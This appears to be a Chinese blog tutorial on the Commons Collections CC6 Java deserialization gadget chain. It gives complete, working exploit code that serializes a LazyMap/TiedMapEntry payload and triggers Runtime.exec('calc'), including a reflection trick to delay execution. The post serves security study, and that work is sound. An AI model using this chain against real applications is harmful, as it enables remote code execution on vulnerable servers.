cc6鏈

毛利_小五郎發表於2024-07-20

TiedMapEntry

第一步

與cc1一樣前面執行程式碼部分不變

  Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

然後我們看LazyMap get原始碼

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

第二步

這個時候我們要找地方呼叫get:tiedmapentry

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
public Object getValue() {
    return map.get(key);
}

Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
    tiedMapEntry.getValue();

第三步

因為 getValue() 這一個方法是相當相當常見的,所以我們一般會優先找同一類下是否存在呼叫情況。

尋找到同名函式下的 hashCode() 方法呼叫了 getValue() 方法。

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

第四步

我們去找誰呼叫了hashCode() 方法

在 Java 反序列化當中,找到 hashCode() 之後的鏈子用的基本都是這一條。

xxx.readObject()
  HashMap.put() --自動呼叫-->   HashMap.hash()
	後續利用鏈.hashCode()

put函式

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

hash函式

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

執行程式碼

    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
    HashMap<Object, Object> expMap = new HashMap<>();
    expMap.put(tiedMapEntry, "value");

第五步

因為上面的程式碼不用等到序列化反序列化就執行了,所以我們要對其中一個引數進行修改,導致他到其中一步就不會執行,然後等所有值都給完了之後透過反射進行修改,接著進行序列化就能執行了

Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

上面這個變成

Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

這樣他在第一時間就不能被執行了

       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");

解析其中一部分程式碼

1.Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

這個程式碼的意思是假如傳入的key不存在那麼他的value就是1,比如
map.put("key1", 100); map.put("key2", 200);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
Object value1 = lazyMap.get("key1"); // 從原始 map 獲取,返回 100
Object value2 = lazyMap.get("key3"); // 不存在於原始 map,返回 ConstantTransformer 中的常量值 1

2.TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

這個程式碼就是傳入map為lazymap,然後找key為aaa的,沒有就是讓他的value為1

下一步就是刪掉鍵值為aaa的然後把鍵值為chainTransform的傳入,因為他前面已經把put那些搞好了,修改值然後進行序列化就可以觸發了,而不是在前面put就直接觸發

        map.remove("aaa");
        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");

全部程式碼

       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        map.remove("aaa");
        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");

相關文章